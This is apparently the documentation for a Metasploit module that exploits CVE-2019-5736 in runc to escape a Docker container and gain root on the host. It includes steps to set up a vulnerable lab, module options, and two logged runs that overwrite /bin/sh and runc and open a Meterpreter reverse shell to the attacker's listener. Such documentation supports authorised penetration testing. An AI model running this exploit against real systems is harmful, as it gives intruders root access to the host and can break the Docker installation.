Vulnerable Application
Description
This module leverages a flaw in runc to escape a Docker container and get command execution on the host as root. This vulnerability is identified as CVE-2019-5736. It overwrites the runc binary with the payload and wait for someone to use docker exec to get into the container. This will trigger the payload execution. Note that a valid session as the root user inside the container is needed.
WARNING: Executing this exploit carries important risks regarding the Docker installation integrity on the target and inside the container (see Side Effects section).
runc has been fixed in version 1.0-rc7 and included in Docker version 18.09.2.
This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28 x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the exploit is more reliable on Fedora than Ubuntu.
Installation
Ubuntu 18.04.5 x64 with Docker version 18.03.1
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu
Fedora 28 x64 with Docker version 18.03.1
dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
dnf -y install dnf-plugins-core
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
dnf -y install docker-ce-18.03.1.ce-3.fc28
Side Effects
runc
The host runc binary will be overwritten during exploitation. The module takes care of making a backup before the overwrite and restoring it when the new session is established. However, it might not work as expected and something could go wrong during the exploitation, which might prevent the session being created. In this case, runc won't be restored and the host will no longer be able to run Docker containers. This process will need to be done manually somehow by following the instruction displayed during the module execution:
cp <path to docker-runc backup> <path to docker-runc>
shell
The shell binary inside the container (set by the OVERWRITE option) will also be overwritten. However, the module makes a backup prior to the overwrite and restores it automatically. This process is relatively safe, but something can still go wrong along the way. Again, this will need to be done manually, using the information displayed during the module execution:
cp <path to the shell binary backup> <path to the shell binary>
Verification Steps
Install Docker (see Installation)
Start msfconsole
Get a session as root inside a Docker container
Do: use linux/local/docker_runc_escape
Do: set LHOST <ip>
Do: set LPORT <port>
Do: set session <session nb>
Do: run
On the host target, run docker exec -ti <container_id> /bin/sh
You should get a Meterpreter session.
Verify you escaped the Docker container
Verify WRITABLEDIR on the host is empty (cleanup successful)
Verify docker-runc has been restored by running docker-runc --version
Options
OVERWRITE
The shell that is going to be overwritten with #!/proc/self/exe. This will be triggered by a user running docker exec -ti <container_id> <overwritten shell>. Default is /bin/sh.
SHELL
The shell the module will use in scripts (must be different than OVERWRITE shell). During the execution, some shell script have to be executed in the Docker container. Since the main OVERWRITE shell has been overwritten, another shell must be used. Default is /bin/bash.
WRITABLEDIR
A directory where you can write files. Default is /tmp.
Scenarios
Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS
msf6 exploit(linux/local/docker_runc_escape) > options
Module options (exploit/linux/local/docker_runc_escape):
Name Current Setting Required Description
---- --------------- -------- -----------
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
SESSION 1 yes The session to run this module on.
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
WRITABLEDIR /tmp yes A directory where you can write files.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper) x64
msf6 exploit(linux/local/docker_runc_escape) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
[*] Writing '/tmp/k41AYY' (344 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.135
[+] Deleted /tmp/pMQAa0FYW
[+] Deleted /tmp/IP8LtTm7
[+] Deleted /tmp/k41AYY
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.144.135
OS : Ubuntu 18.04 (Linux 5.4.0-72-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > [*] Shutting down Meterpreter...
Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64
msf6 exploit(linux/local/docker_runc_escape) > options
Module options (exploit/linux/local/docker_runc_escape):
Name Current Setting Required Description
---- --------------- -------- -----------
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
SESSION 1 yes The session to run this module on.
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
WRITABLEDIR /tmp yes A directory where you can write files.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper) x64
msf6 exploit(linux/local/docker_runc_escape) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
[*] Writing '/tmp/Rba74' (351 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.219
[+] Deleted /tmp/jPfX1LCnzb
[+] Deleted /tmp/aI0aDmv91K
[+] Deleted /tmp/Rba74
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > [*] Shutting down Meterpreter...
